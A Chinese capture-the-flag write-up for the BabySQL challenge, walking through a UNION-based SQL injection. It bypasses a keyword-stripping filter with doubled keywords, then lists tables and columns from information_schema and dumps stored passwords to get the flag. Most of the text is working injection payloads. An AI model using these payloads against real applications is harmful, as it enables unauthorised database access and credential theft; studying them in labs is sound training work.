[极客大挑战 2019]BabySQL
非常熟悉的界面
首先试一下
进去后发现是GET提交方式,并且我们的用户名是对的,密码错误
然后我们试一下万能密码
?username=admin&password=admin' or '1'='1
报错了,不知道哪里错了,所以先闭合一下前面看一下他的报错提示
?username=admin'&password=admin or '1'='1
很奇怪我们的or不见了,查阅资料发现可以用函数replace()过滤,把字符替换成了空白字符
然后我们可以用拼接字符来进行绕过,使用联合查询来进行查列
?username=admin&password=admin' uunionnion sselectelect 1,2%23
暴错,说明不止两个列,继续查
?username=admin&password=admin' uunionnion sselectelect 1,2,3%23
这次没出错
下一步我们就开始查表
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23
然后我们可以查出两张表 b4bsql和geekuser
于是我们再继续对表进行查列字段
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23
查出三个列字段:id,username,password
最后我们就可以开始爆数据了
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23
然后我们就得到flag了